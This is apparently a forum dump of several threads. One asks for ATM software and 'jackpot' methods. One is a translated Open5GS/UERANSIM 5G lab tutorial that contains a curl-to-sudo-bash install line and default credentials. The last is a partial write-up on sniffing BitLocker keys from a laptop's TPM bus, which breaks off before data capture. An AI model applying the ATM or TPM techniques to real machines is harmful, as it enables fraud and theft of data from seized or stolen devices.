Всем привет, в настоящее время я занимаюсь реинжинирингом некоторых аспектов банкоматов NCR/Hyosung. Для тех, кто еще не исследовал эту область, большинство из них используют устаревшие версии Windows с некоторой плохой защитой конечных точек, встроенной в небольшую часть времени. Тем не менее, действительно трудно найти какую-либо документацию по ним. Мне удалось найти руководство по эксплуатации, которое было действительно полезным, но я хотел проверить некоторые идеи по реальному программному обеспечению банкоматов. Моя идея состоит в том, чтобы создать виртуальную машину Windows 7 и установить на нее программное обеспечение ATM. С учетом сказанного, есть ли у кого-нибудь или кто мог бы указать мне правильное направление для программного обеспечения банкомата. Работает любая марка/модель. Помощь очень ценится. Я слышал, что люди, владеющие банкоматами, могут просто получить программное обеспечение с какого-нибудь веб-сайта, но я не совсем уверен.

ATM jackpot
ID: 676535aeb4103b69df3735f7
Thread ID: 76771
Created: 2022-11-27T00:01:37+0000
Last Post: 2023-02-20T12:06:24+0000
Author: NotNoob
Replies: 2 Views: 1K

Does anyone have any knowledge or technology on ATM jackpot winning?

Создание базовой сети 5G с Open5GS и UERANSIM
ID: 676535aeb4103b69df3735fd
Thread ID: 79046
Created: 2022-12-30T22:19:28+0000
Last Post: 2023-01-07T18:58:32+0000
Author: pablo
Prefix: Статья
Replies: 1 Views: 1K

[Автор оригинала: λ.eranga](https://medium.com/rahasak/5g-core-network-setup- with-open5gs-and-ueransim-cd0e77025fd7)
Автор перевода: @temabeloglinskiy

Сегодня и в последующие дни я сделаю перевод статей о развертывании архитектуры сетей 5G для дальнейшего ее изучения. Цель этой статьи - показать, что самые передовые технологии доступны всем и каждому, и что будущее можно создавать своими руками и не ждать. Я верю, что инженерный состав в нашей стране, это талантливые люди, которые могут нивелировать технологическое отставание, которое мы упустили за прошедшие 30 лет.

Напутствие​

В этом посте я расскажу о развертывании базовой сети 5G с помощью Open5GS, которая представляет собой реализацию базовой мобильной сети 5G с открытым исходным кодом. Для тестирования функций базовой сети 5G я использовал UERANSIM, симулятор 5G UE и RAN (gNodeB) с открытым исходным кодом. Все исходные коды/развертывания, связанные с этим постом, доступны на gitlab. Пожалуйста, клонируйте репозиторий. В этом посте я установил Open5GS как службу демона Linux. В следующем посте я расскажу об установке Open5GS с Kubernets и Helm Charts.

Архитектура 5G​

Мобильная сеть 5-го поколения (5G) — это новый глобальный стандарт беспроводной связи после сетей 1G, 2G, 3G и 4G. 5G обеспечивает новый тип сети, предназначенный для соединения практически всех и всего, включая машины, объекты и устройства. Беспроводная технология 5G предназначена для обеспечения более высокой пиковой скорости передачи данных в несколько Гбит/с, сверхнизкой задержки, большей надежности, большой пропускной способности сети, повышенной доступности и более единообразного пользовательского интерфейса для большего числа пользователей. Более высокая производительность и повышенная эффективность расширяют возможности пользователей и объединяют новые отрасли.
Партнерский проект 3GPP определяет стандарты для 5G. 3GPP — это общий термин для ряда организаций по стандартизации, разрабатывающих протоколы для мобильной связи. Согласно 3GPP система 5G (5GS) будет состоять из трех основных компонентов

  1. Пользовательское оборудование (UE)
  2. Сеть радиодоступа 5G (5G-RAN)
  3. Базовая сеть 5G (5GC)

UE — это устройства с поддержкой 5G (пользовательское оборудование). 5G-RAN (также известный как gNB) — это тип сетевой инфраструктуры, обычно используемый для мобильных сетей, состоящих из базовых радиостанций с большими антеннами. RAN беспроводным способом подключает пользовательское оборудование к базовой сети. Базовая сеть 5G упрощает различные сетевые функции, такие как управление сеансами, аутентификация, контроль политик, хранение данных и т. д. Доступно несколько реализаций базовой сети 5G с открытым исходным кодом. Free5GC, Open5GS — две самые популярные реализации базовой сети 5G.

Архитектура 5G Core​

В отличие от предыдущих сотовых сетей, архитектура базовой сети 5G разработана с использованием виртуализации сетевых функций и программно-определяемой сети. В основном базовая сеть 5G разработана с использованием шаблона проектирования на основе микросервисов. Различные службы данных и требования 5GC (также называемые сетевыми функциями) реализованы в виде микросервисов. Эти микросервисы (сетевые функции) будут развернуты как собственные облачные приложения. Базовая система 5G состоит из следующих сетевых функций (NF). Эти функции разделены на две основные плоскости: плоскость управления и плоскость пользователя:

  1. User plane Function (UPF)
  2. Data network (DN), e.g. operator services, Internet access or 3rd party services
  3. Core Access and Mobility Management Function (AMF)
  4. Authentication Server Function (AUSF)
  5. Session Management Function (SMF)
  6. Network Slice Selection Function (NSSF)
  7. Network Exposure Function (NEF)
  8. NF Repository Function (NRF)
  9. Policy Control function (PCF)
  10. Unified Data Management (UDM)
  11. Application Function (AF)

Взаимодействие этих сервисов (с UE и 5G-RAN) и их соответствующие интерфейсы описаны на следующем рисунке. При развертывании базовой сети 5G мы в основном развертываем все эти сервисы в облаке как собственное облачное приложение.

Open5GS​

Open5GS — это реализация базовой мобильной сети 5G с открытым исходным кодом. Конечной целью этого проекта является реализация базовой сети 5G, определенной в выпуске 3GPP. В настоящее время он поддерживает выпуск 16 3GPP с предоставлением ядра 5G (AMF, SMF+PGW-c, UPF+PGW-u, PCF, UDR, UDM, сетевые функции AUSF, NRF) и сетевые функции Evolved Packet Core (MME, SGW-c, SGW-u, HSS и PCRF).

UERANSIM​

UERANSIM — это реализация 5G UE и 5G RAN (gNodeB) с открытым исходным кодом. В общих чертах его можно рассматривать как мобильный телефон 5G и базовую станцию. С точки зрения UE/RAN существует 3 основных интерфейса:

  1. интерфейс управления (между RAN и AMF)
  2. пользовательский интерфейс (между RAN и UPF)
  3. радиоинтерфейс (между UE и RAN)

UERANSIM поддерживает работу с базовыми сетями Open5GS и Free5GC 5G. Мы можем подключить UERANSIM к одной из этих сетей 5G Core и протестировать функциональность.

Развертывание ядра 5G​

В этом сценарии я развернул базовую сеть 5G с Open5GS и смоделировал gNB/UE с помощью UERANSIM. Open5GS развернут на одном сервере (IP 172.31.13.16), а UERANSIM развернут на другом сервере (IP 172.31.13.37). Архитектура развертывания описана на следующем рисунке.

Ниже приведены основные шаги, которые необходимо выполнить при развертывании. Если вы настраиваете эту среду в облаке (например, AWS, gGloud), обязательно откройте все порты TCP и SCTP между серверами в локальной сети (связь gNB и AMF происходит через SCTP).

1. Install Open5GS​

Open5GS может быть установлен как собственный сервис демона Linux. Также его можно развернуть с помощью Docker, Kubernetes и Helm Charts. Я развернул его как собственное сервисное приложение демона Linux. При его запуске сеть 5G работает как службы демона Linux. Ниже приведен способ установки Open5GS на server1.

Code:Copy to clipboard

# install open5gs as daemon service
sudo apt update
sudo apt install software-properties-common
sudo add-apt-repository ppa:open5gs/latest
sudo apt update
sudo apt install open5gs

2. Setup Open5GS​

Я развертываю 5G Core и gNB на отдельных серверах. Поэтому мне нужно настроить адрес привязки NGAP для AMF (IP-адрес работающего ядра 5G) и адрес привязки GTPU для UPF (IP-адрес работающего ядра 5G). Тогда только gNB и UE смогут подключиться к базовой сети 5G. Если вы используете стек gNB и 5G Core на одном сервере, вам не нужно вносить эти изменения. Ниже приведены конфигурации, которые я сделал. После выполнения этих настроек я перезапустил службы AMF и UPF.

Code:Copy to clipboard

# amf config file locates in /etc/open5gs/amf.yaml
# ngap addr configured to 5g core server ip
amf:
    sbi:
      - addr: 127.0.0.5
        port: 7777
    ngap:
      - addr: 172.31.10.16
    
---

# restart amf services
sudo systemctl restart open5gs-amfd

---

# amf logs can be found in /var/log/open5gs/amf.log
sudo tail -f /var/log/open5gs/amf.log

11/07 04:17:26.737: [amf] INFO: [Removed] Number of AMF-UEs is now 0 (../src/amf/context.c:1268)
11/07 04:17:26.738: [sctp] INFO: AMF terminate...done (../src/amf/app.c:42)
Open5GS daemon v2.3.6
11/07 04:17:26.762: [app] INFO: Configuration: '/etc/open5gs/amf.yaml' (../lib/app/ogs-init.c:129)
11/07 04:17:26.762: [app] INFO: File Logging: '/var/log/open5gs/amf.log' (../lib/app/ogs-init.c:132)
11/07 04:17:26.764: [sbi] INFO: nghttp2_server() [127.0.0.5]:7777 (../lib/sbi/nghttp2-server.c:144)
11/07 04:17:26.764: [amf] INFO: ngap_server() [172.31.10.16]:38412 (../src/amf/ngap-sctp.c:53)
11/07 04:17:26.764: [sctp] INFO: AMF initialize...done (../src/amf/app.c:33)
11/07 04:17:26.766: [amf] INFO: [9d83b430-3f81-41ec-9db3-4f03c19e0a68] NF registred [Heartbeat:10s] (../src/amf/nf-sm.c:198)

Code:Copy to clipboard

# upf config file locates in /etc/open5gs/upf.yaml
# gtpu addr configured to 5g core server ip
upf:
    pfcp:
      - addr: 127.0.0.7
    gtpu:
      - addr: 172.31.10.16
    subnet:
      - addr: 10.45.0.1/16
      - addr: 2001:230:cafe::1/48
      
---

# restart upf services
sudo systemctl restart open5gs-upfd

---

# upf logs can be found in /var/log/open5gs/upf.log
sudo tail -f /var/log/open5gs/upf.log

11/07 04:18:19.224: [app] INFO: SIGTERM received (../src/main.c:53)
11/07 04:18:19.224: [app] INFO: Open5GS daemon terminating... (../src/main.c:212)
11/07 04:18:19.225: [upf] INFO: PFCP de-associated (../src/upf/pfcp-sm.c:178)
11/07 04:18:19.225: [upf] INFO: [Removed] Number of UPF-sessions is now 0 (../src/upf/context.c:190)
11/07 04:18:19.226: [app] INFO: UPF terminate...done (../src/upf/app.c:39)
Open5GS daemon v2.3.6
11/07 04:18:19.243: [app] INFO: Configuration: '/etc/open5gs/upf.yaml' (../lib/app/ogs-init.c:129)
11/07 04:18:19.243: [app] INFO: File Logging: '/var/log/open5gs/upf.log' (../lib/app/ogs-init.c:132)
11/07 04:18:19.256: [pfcp] INFO: pfcp_server() [127.0.0.7]:8805 (../lib/pfcp/path.c:30)
11/07 04:18:19.256: [gtp] INFO: gtp_server() [172.31.10.16]:2152 (../lib/gtp/path.c:30)
11/07 04:18:19.257: [app] INFO: UPF initialize...done (../src/upf/app.c:31)
11/07 04:18:22.553: [pfcp] INFO: ogs_pfcp_connect() [127.0.0.4]:8805 (../lib/pfcp/path.c:59)
11/07 04:18:22.553: [upf] WARNING: cannot handle PFCP message type[1] (../src/upf/pfcp-sm.c:139)
11/07 04:18:25.054: [pfcp] WARNING: [5341] REMOTE Request Duplicated. Discard! for step 1 type 1 peer [127.0.0.4]:8805 (../lib/pfcp/xact.c:403)
11/07 04:18:27.557: [pfcp] WARNING: [5341] REMOTE Request Duplicated. Discard! for step 1 type 1 peer [127.0.0.4]:8805 (../lib/pfcp/xact.c:403)
11/07 04:18:30.060: [upf] INFO: PFCP associated (../src/upf/pfcp-sm.c:173)

3. NAT Port Forwarding​

Чтобы создать мост между 5G Core UPF и WAN (Интернет), мне нужно включить переадресацию IP и добавить правило NAT в таблицы IP. Ниже приведены перенаправления портов NAT, которые я сделал. Без этого порта переадресация подключения от 5G Core к Интернету не работала бы.

Code:Copy to clipboard

# nat port forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o enp0s3 -j MASQUERADE
sudo systemctl stop ufw
sudo iptables -I FORWARD 1 -j ACCEPT

# if above setup not works try to manually create tun interface and do nat forwarding
sudo ip tuntap add name ogstun mode tun
sudo ip addr add 10.45.0.1/16 dev ogstun
sudo ip addr add 2001:230:cafe::1/48 dev ogstun
sudo ip link set ogstun up

4. Register UE Device​

Далее мне нужно зарегистрировать устройство UE на 5G Core. Open5GS предоставляет приложение WebUI. Я могу зарегистрировать устройство UE через подключение к WebUI. Ниже приведен способ как сделать это.

Code:Copy to clipboard

# install nodejs
sudo apt update
sudo apt install curl
curl -fsSL https://deb.nodesource.com/setup_14.x | sudo -E bash -
sudo apt install nodejs

# clone webui
git clone https://github.com/open5gs/open5gs.git

# run webui with npm
cd webui
npm run dev --host 0.0.0.0

# the web interface will start on
http://localhost:3000

# webui login credentials
username - admin
password - 1423

# add new subscriber
# the default device information can be found in open5gs config on UERANSIM
IMSI: 901700000000001
Subscriber Key: 465B5CE8B199B49FAA5F0A2EE238A6BC
USIM Type: OPc
Operator Key: E8ED289DEBA952E4283B54E88E6183CA

WebUI запускается на порту 3000 на server1. Подключитесь к WebUI и войдите в систему с учетными данными admin/1423. Затем добавьте нового абонента с IMSI: 901700000000001 и другой информацией по умолчанию.

5. Install UERANSIM​

Затем я установил UERANSIM на server2. Установка выполняется с помощью файла, доступного в репозитории URANSIM. Ниже приведен способ установки UERANSIM.

Code:Copy to clipboard

# install cmake
# UERANSIM does not work with the apt version of cmake, that's why we need to install snap and the snap version of cmake:
sudo apt update
sudo apt upgrade
sudo apt install make g++ libsctp-dev lksctp-tools
iproute2 sudo snap install cmake --classic

# install ueransim
git clone https://github.com/aligungr/UERANSIM
cd UERANSIM
make

6. Setup gNB​

UERANSIM состоит из двух частей gNB и UE. Файлы конфигурации gNB, относящиеся к Open5GS, находятся в URANSIM/config/open5gs-gnb.yaml. Мне нужно настроить linkIp, ngapIp, gtpIp и amfConfigs: адрес в файле конфигурации. linkIp, ngapIp, gtpIp настроены с IP-адресом server2 (IP-адрес работающего сервера UERANSIM). amfConfigs: адрес — это IP-адрес server1 (IP-адрес работающего сервера Open5GC). gNB можно запустить с помощью сценария UERANSIM/build/nr- gnb, используя файл конфигурации UERANSIM/config/open5gs-gnb.yaml.

Code:Copy to clipboard

# configure with server1 IP
linkIp: 172.31.13.37  # gNB's local IP address for Radio Link Simulation (Usually same with local IP)
ngapIp: 172.31.13.37  # gNB's local IP address for N2 Interface (Usually same with local IP)
gtpIp: 172.31.13.37   # gNB's local IP address for N3 Interface (Usually same with local IP)

# list of AMF address information
# configure with server2 IP
amfConfigs:
  - address: 172.31.10.16
    port: 38412
    
---

# start gnb with open5gc-gnb.yaml config file
./build/nr-gnb -c config/open5gs-gnb.yaml

# output
UERANSIM v3.2.4
[2021-11-07 04:39:11.240] [sctp] [info] Trying to establish SCTP connection... (172.31.10.16:38412)
[2021-11-07 04:39:11.243] [sctp] [info] SCTP connection established (172.31.10.16:38412)
[2021-11-07 04:39:11.244] [sctp] [debug] SCTP association setup ascId[4]
[2021-11-07 04:39:11.244] [ngap] [debug] Sending NG Setup Request
[2021-11-07 04:39:11.245] [ngap] [debug] NG Setup Response received
[2021-11-07 04:39:11.245] [ngap] [info] NG Setup procedure is successful

7. Setup UE​

Файлы конфигурации UERANSIM UE, относящиеся к Open5GS, находятся в UERANSIM/config/open5gs-ue.yaml. Мне нужно настроить gnbSearchList с IP- адресом server2 (IP-адрес работающего сервера UERANSIM). UE можно запустить с помощью сценария UERANSIM/build/nr-ue, используя файл конфигурации UERANSIM/config/open5gs-ue.yaml. Еще одна вещь, на которую следует обратить внимание, это то, что open5gs-ue.yaml определяет конфигурации устройств UE. Мы использовали эти конфигурации при регистрации подписчика в ядре Open5GC 5G через WebUI.

Code:Copy to clipboard

# ue device config
# IMSI number of the UE. IMSI = [MCC|MNC|MSISDN] (In total 15 digits)
supi: 'imsi-901700000000001'
# Mobile Country Code value of HPLMN
mcc: '901'
# Mobile Network Code value of HPLMN (2 or 3 digits)
mnc: '70'

# Permanent subscription key
key: '465B5CE8B199B49FAA5F0A2EE238A6BC'
# Operator code (OP or OPC) of the UE
op: 'E8ED289DEBA952E4283B54E88E6183CA'
# This value specifies the OP type and it can be either 'OP' or 'OPC'
opType: 'OPC'
# Authentication Management Field (AMF) value
amf: '8000'
# IMEI number of the device. It is used if no SUPI is provided
imei: '356938035643803'
# IMEISV number of the device. It is used if no SUPI and IMEI is provided
imeiSv: '4370816125816151'
# IMEISV number of the device. It is used if no SUPI and IMEI is provided
imeiSv: '4370816125816151'

---

# List of gNB IP addresses for Radio Link Simulation
# configure with server2 IP
gnbSearchList:
  - 172.31.13.37
 
---

# start gnb with open5gc-ue.yaml config file
sudo ./build/nr-ue -c config/open5gs-ue.yaml

# output
UERANSIM v3.2.4
[2021-11-07 04:50:08.323] [nas] [info] UE switches to state [MM-DEREGISTERED/PLMN-SEARCH]
[2021-11-07 04:50:08.323] [rrc] [debug] New signal detected for cell[1], total [1] cells in coverage
[2021-11-07 04:50:08.323] [nas] [info] Selected plmn[901/70]
[2021-11-07 04:50:08.323] [rrc] [info] Selected cell plmn[901/70] tac[1] category[SUITABLE]
[2021-11-07 04:50:08.323] [nas] [info] UE switches to state [MM-DEREGISTERED/PS]
[2021-11-07 04:50:08.323] [nas] [info] UE switches to state [MM-DEREGISTERED/NORMAL-SERVICE]
[2021-11-07 04:50:08.323] [nas] [debug] Initial registration required due to [MM-DEREG-NORMAL-SERVICE]
[2021-11-07 04:50:08.324] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2021-11-07 04:50:08.324] [nas] [debug] Sending Initial Registration
[2021-11-07 04:50:08.324] [nas] [info] UE switches to state [MM-REGISTER-INITIATED]
[2021-11-07 04:50:08.324] [rrc] [debug] Sending RRC Setup Request
[2021-11-07 04:50:08.325] [rrc] [info] RRC connection established
[2021-11-07 04:50:08.325] [rrc] [info] UE switches to state [RRC-CONNECTED]
[2021-11-07 04:50:08.325] [nas] [info] UE switches to state [CM-CONNECTED]
[2021-11-07 04:50:08.330] [nas] [debug] Authentication Request received
[2021-11-07 04:50:08.333] [nas] [debug] Security Mode Command received
[2021-11-07 04:50:08.333] [nas] [debug] Selected integrity[2] ciphering[0]
[2021-11-07 04:50:08.339] [nas] [debug] Registration accept received
[2021-11-07 04:50:08.339] [nas] [info] UE switches to state [MM-REGISTERED/NORMAL-SERVICE]
[2021-11-07 04:50:08.339] [nas] [debug] Sending Registration Complete
[2021-11-07 04:50:08.339] [nas] [info] Initial Registration is successful
[2021-11-07 04:50:08.339] [nas] [debug] Sending PDU Session Establishment Request
[2021-11-07 04:50:08.339] [nas] [debug] UAC access attempt is allowed for identity[0], category[MO_sig]
[2021-11-07 04:50:08.542] [nas] [debug] Configuration Update Command received
[2021-11-07 04:50:08.551] [nas] [debug] PDU Session Establishment Accept received
[2021-11-07 04:50:08.551] [nas] [info] PDU Session establishment is successful PSI[1]
[2021-11-07 04:50:08.560] [app] [info] Connection setup for PDU session[1] is successful, TUN interface[uesimtun0, 10.45.0.5] is up.

8. Test 5G Network​

При запуске UERANSIM UE он создает сеанс PDU и сетевой интерфейс TUN uesimtun0. Вы можете найти IP-адрес сеанса PDU и адрес TUN в журналах UE (интерфейс TUN [uesimtun0, 10.45.0.3]). Мы можем использовать интернет- соединение UE из другого приложения через этот интерфейс TUN. Например, если мы используем простую команду curl с интерфейсом uesimtun0 (например, curl --interface uesimtun0 "https://httpbin.org/get"), она направит пакет в Интернет через базовую сеть Open5GC 5G, как показано на следующей диаграмме.


Кроме того, UERANSIM предоставляет инструмент UERANSIM/build/nr-binder для привязки внешних приложений к интерфейсу TUN. Мы можем привязать интерфейс uesimtun0 практически к любому приложению, используя UERANSIM/build/nr-binder. Ниже приведен способ использования UERANSIM/build/nr-binder с различными приложениями. Я тестировал его с приложениями ping, curl, docker, python.

Code:Copy to clipboard

# ping command bind direcly to uesimtun0
ping -I uesimtun0 google.com

# curl command bind direcly to uesimtun0
curl \
  --interface uesimtun0 \
  -X GET "https://httpbin.org/get"
 
---

# bind curl command via nr-binder
# nr-binder use pdu session ip
./nr-binder 10.45.0.3 curl -X GET "https://httpbin.org/get"

---

# run docker container via nr-binder
./nr-binder 10.45.0.3 docker run -d -p 9091:80 kennethreitz/httpbin

---

# bind python application via nr-binder
# request.pyt is simple python program which send http GET request
./nr-binder 10.45.0.3 python3 request.py

---

# bind shell scrip via nr-binder
# httpbin.sh is simple shell script which runs httpbin as docker container
./nr-binder 10.45.0.3 ./httpbin.sh

9. Image Streaming via 5G Core​

В приведенной выше настройке интерфейс UERANSIM UE TUN (uesimtun0) может быть доступен только через работающую машину UERANSIM. Это означает, что мы можем подключиться к базовой сети 5G только с работающей машины UERANSIM. В моем сценарии я хотел передавать изображения на TCP-сервер (который находится в общедоступном Интернете) от внешнего клиента (который находится за пределами сервера URANSIM) через базовую сеть 5G. Примером сценария может быть потоковая передача изображений с устройства виртуальной реальности на сервер потоковой передачи через базовую сеть 5G. Чтобы добиться этой настройки, я применил обходной путь, используя прокси-сервер TCP. Ниже приведена архитектура установки.


Служба UERANSIM работает на сервере с публичным IP 3.237.100.204. Служба потоковой передачи изображений работает на сервере с общедоступным IP-адресом 100.27.44.103. Я запустил прокси-сервер TCP на порту 7654 внутри сервера 3.237.100.204. Служба потоковой передачи изображений работает на порту 7654 на сервере 100.27.44.103. Прокси-сервер TCP перенаправляет входящие пакеты с 3.237.100.204:7654 на 100.27.44.103:7654. Я использовал следующую команду docker для запуска прокси-сервера TCP.

Code:Copy to clipboard

# tcp proxy server forward the incoming traffic of port 7654 to 100.27.44.103:7654
docker run -d -it --rm -p 7654:7654 hpello/tcp-proxy 100.27.44.103 7654

Эта команда докера добавляется в сценарий оболочки с именем tcp- proxy.sh и запускается с помощью nr-binder. Затем весь трафик прокси-сервиса TCP проходит через базовую сеть 5G.

Code:Copy to clipboard

# run tcp proxy server with nr-biner
# all traffic of tcp proxy server will goes through the 5g core
sudo ./nr-binder 10.45.0.13 ./tcp-proxy.sh

Ниже приведен простой сервер потоковой передачи изображений, написанный на Python. Он прослушивает порт 7654 и входящие изображения, сохраненные в вызываемом каталоге. Я запустил потоковый сервер с помощью команды python3 stream-server.py.

Code:Copy to clipboard

import socket
import time

s = socket.socket()
host = socket.gethostname()
port = 7654
s.bind((host, port))
s.listen(5)
while True:
    c, addr = s.accept()
    print('Got connection from', addr)

    # create image file
    n = 'out/' + str(int(time.time())) + '.png'
    f = open(n,'wb')

    # recive image
    l = c.recv(1024)
    while (l):
        f.write(l)
        l = c.recv(1024)
    f.close()
    print('Done Receiving')
    c.close()

Ниже приведено клиентское приложение потоковой передачи изображений, написанное с помощью Python. Он считывает образ с диска и отправляет потоки на прокси-сервер TCP, который работает на сервере 3.237.100.204:7654. Затем прокси-сервер перенаправляет потоки изображений на сервер потоковой передачи изображений 100.27.44.103:7654 через базовую сеть 5G. Я запустил клиент потоковой передачи с помощью команды python3 [stream-client.py](http://stream- client.py/).

Code:Copy to clipboard

import socket

# client socker
s = socket.socket()
host = '3.237.100.204'
port = 7654
s.connect((host, port))

print('Connected to server')

# send image
f = open('hak.png','rb')
l = f.read(1024)
while (l):
    s.send(l)
    l = f.read(1024)
print('Sent image')

# image sent close connection
f.close()
s.close

Полезные ссылки:​

  1. https://www.rajarshipathak.com/2020/01/beginners-guide-for-5g-core-network-architecture.html
  2. https://www.grandmetric.com/2017/06/05/5g-core-network-a-short-overview/
  3. https://open5gs.org/open5gs/docs/guide/01-quickstart/
  4. https://www.free5gc.org/installations/stage-3-sim-install/
  5. https://nickvsnetworking.com/my-first-5g-core-open5gs-and-ueransim/
  6. https://www.viavisolutions.com/en-us/5g-architecture
  7. https://frontjang.info/entry/Open5GC-UERANSIM-으로-5G-네트워크-구축하기-1-구성-및-설치
ТПМ сниффинг
ID: 676535aeb4103b69df373614
Thread ID: 71534
Created: 2022-08-12T07:59:34+0000
Last Post: 2022-08-12T07:59:34+0000
Author: yashechka
Prefix: Статья
Replies: 0 Views: 1K

TL;DR: Мы воспроизвели ПОК Дениса Андзаковича, который показывает, что можно читать и записывать данные с устройства, защищенного BitLocker (например, украденного ноутбука), прослушивая ключ TPM из шины LCP.

Авторы: Томас Деваэле и Жюльен Оберсон

Особая благодарность Денису Андзаковичу за его ПОК и Джо Гранду (@joegrand) за его обучение взлому оборудования на Insomni’hack 2018.

Теория

Bitlocker — это решение Full Disk Encryption (FDE), предлагаемое Microsoft для своих операционных систем Windows, начиная с Windows Vista, для защиты хранящихся данных пользователей. Решение предлагает различные конфигурации, включая несколько способов хранения ключа дешифрования. Наиболее распространенная конфигурация заключается в хранении главного ключа тома (VMK) в модуле Trusted Platform Module (TPM), встроенном в последние компьютеры.

Эта установка интересна тем, что расшифровка полностью прозрачна для пользователя. Это преимущество превосходит другие, поскольку многие компании не хотят настраивать дополнительный пароль/ПИН-код для загрузки пользователем своего компьютера. Недостатком является то, что он открывает дверь для нескольких атак, включая анализ TPM, описанный в этой статей, а также атаки DMA или Cold Boot.

Под капотом TPM проверяет различные свойства системы во время запуска, чтобы убедиться, что последовательность загрузки не была изменена. Если проверка проходит успешно, VMK освобождается и передается на ЦП, который может начать расшифровку диска и загрузку операционной системы.

В зависимости от аппаратного обеспечения TPM может быть подключен к материнской плате с помощью нескольких каналов связи, включая LPC, I2C или SPI. Эти шины имеют общее свойство, а именно низкую скорость передачи (тактовая частота обычно составляет около 25 Мгц). Это не является проблемой для решения, потому что необходимо передавать только ограниченное количество данных, но это упрощает прослушивание каналов, поскольку требуемое оборудование является недорогим.

Поиск TPM

Первым шагом для выполнения этой атаки является определение правильного места для исследования. Конечно, расположение зависит от каждой материнской платы. В нашем случае испытуемым ноутбуком был Lenovo ThinkPad L440.

Лучший способ найти коммуникационную шину — это получить схемы материнской платы, но мы смогли найти только один веб-сайт со схемами для L440, и они выглядят немного хитроумно.

1660290859295.png

Оплата схем материнской платы через Western Union: кажется законной.

Вместо этого мы решили пойти по по другому и выбрали ручной путь и и начали наше путешествие с поиска чипа TPM. Эти чипы обычно поставляются в корпусах TSSOP28 или VQFN32. Мы обнаружили чип TSSOP28 с маркировкой P24JPVSP под трекпадом, и Google, похоже, указал, что он связан с TPM:

1660290874257.png

Микросхема TPM (внизу справа) и отладочные площадки (вверху слева).

Судя по логотипу, чип произведен компанией ST Microelectronics, но референс P24JPVSP на сайте st.com не найден. После некоторых обоснованных предположений и еще нескольких поисков в Google мы пришли к выводу, что он, вероятно, эквивалентен чипу ST33TPM12LPC, который использует LPC для связи. Вот распиновка из даташита:

1660290889270.png

Распиновка ST33TPM12LPC.

Чтобы получить кадры LPC, нам нужно проверить следующие 6 сигналов (+ земля):

1660290901662.png

Описания необходимых сигналов для декодирования кадров LPC.

LAD0, LAD1, LAD2 и LAD3 — это 4-битная шина, по которой фактически происходит обмен данными с микросхемой. Сигнал кадра используется, чтобы указать, когда отдельные кадры LPC начинаются или заканчиваются. Тактовый сигнал представляет собой просто циклический тик с постоянной частотой (в нашем случае 25 МГц), который используется для синхронизации всех остальных сигналов.

Теперь, если (1) у вас есть подходящее оборудование и (2) вы уверены в своих навыках микропайки, вы можете припаять провода непосредственно к этим контактам, чтобы прикрепить щупы, но расстояние между каждым контактом составляет всего 0,65 миллиметра ( для наших слабовидящих читателей это 0,4 миллионной мили). Мы не выполнили несколько из этих двух требований.

К счастью, на плате нередко можно найти более удобные места, которые подключаются к этим контактам. Как вы можете видеть на картинке выше, непосредственно рядом с чипом есть 6 контактных площадок, и вы можете пройти по дорожкам, чтобы получить следующую распиновку:

1660290923585.png

К сожалению, сигнал LCLK отсутствует! Похоже, что дорожка, идущая к этому контакту, идет с другой стороны материнской платы. На нижней стороне он находится под модулем WiFi и изначально был заклеен черной изолентой:

1660290933473.png

Сюрприз! Отладочные площадки LPC пытались спрятать, но мы застали их врасплох (отсюда и смазанная картинка).

Мы были рады обнаружить эти (относительно) большие отладочные площадки LPC, а это означает, что нам не только будет легче припаивать туда щупы, но также мы можем провести атаку, просто сняв нижнюю панель без необходимости разбирать весь ноутбук и сборка клавиатуры.

С помощью мультиметра в режиме прозвонки мы определили распиновку этих контактных площадок (что было немного акробатично, так как микросхема находится на другой стороне платы). К сожалению, нам по-прежнему не хватало LCLK, а одна из площадок вроде бы ни к чему не была подключена. Мы подумали, что это слишком большое совпадение, и, конечно же, эта неизвестная контактная площадка на самом деле была LCLK, за исключением того, что цепь проходит через несколько резисторов между контактной площадкой и контактом.

В этот момент мы, вероятно, могли бы YOLO'ировать это и надеялись, что наше предположение было правильным, но мы думали, что на самом деле попытаемся купить схемы материнской платы на странном веб-сайте, упомянутом в начале.

Мы заплатили 20 долларов через PayPal, полностью ожидая мошенничества, но через 15 минут мы получили электронное письмо с адреса GMail с несколькими архивами .rar, содержащими файл BoardView и программное обеспечение. Естественно, мы открыли архивы и запустили программное обеспечение на нашем производственном контроллере домена, и оно было действительно законным! Мы могли подтвердить, что загадочная панель отладки действительно была тактовым генератором LPC, проходящим через некоторые резисторы и микросхему, смонтированную на BGA (нам бы пришлось нелегко, выполняя тесты под ним!)

1660290956058.png

Возвращение сигнала LCLK к площадкам отладки LPC.

Ниже приведена распиновка отладочных площадок LPC, и мы, наконец, получили все необходимые сигналы. Мы также заметили, благодаря схемам, что путь тактового сигнала от микросхемы до отладочной площадки не был полным, и нам пришлось создать запаяный мост, чтобы соединить их (см. резистор R1806).

1660290972727.png

Сигнал LCLK на отладочных площадках LPC и положение моста (R1806).

1660290982369.png

Паяльная перемычка для связи тактового сигнала между чипом и отладочной площадкой.

Подключение сниффера

Найдя лучшее место для зондирования, мы припаяли несколько проводов к отладочным площадкам LPC, чтобы легко подключить сниффер.

1660290998282.png

Слева направо: LDA[0:3], LFRAME, LCLK и земля.

Мы начали с подключения логического анализатора MSO 19.2 для наблюдения за трафиком. Согласно паспорту производителя, буфер LA недостаточно велик, чтобы захватить всю последовательность запуска, поэтому устройство использовалось только для проверки правильности извлечения данных. Сделав это, мы смогли подтвердить, что форма сигнала соответствует трафику LPC.

1660291018426.png

Трассировка LPC с сигналом CLK белым, сигналом FRAME красным и DATA[0:3] на каналах 3,4,5,6.

Чтобы обойти ограничение буфера, мы использовали устройство на базе FPGA производства Lattice Semiconductor, а именно iCEstick40. Это то же самое оборудование, которое Денис Андзакович использовал для попытки прослушивания TPM 2.0 (за исключением того, что наше устройство заключено в причудливую домашнюю 3D-печатную коробку!)

Мы подключили сниффер по распиновке, указанной в репозитории сниффера LPC на Github, с помощью зажимов для щупов к ранее припаянным проводам. Зажимы обеспечивали хорошее соединение с припаянными проводами, но соединение с модулем сниффера было менее надежным. Чтобы уменьшить движения и, следовательно, ограничить проблемы с контактом, вилки были затянуты путем сжатия нижней части металлического разъема.

1660291034423.png

Зацепление щупа с помощью зажимов зонда (1).

1660291044865.png

Зацепление щупа с помощью зажимов зонда (2).

1660291055479.png

Зондовые соединения со сниффером; Крупный план на коробке

1660291063757.png

Получение данных

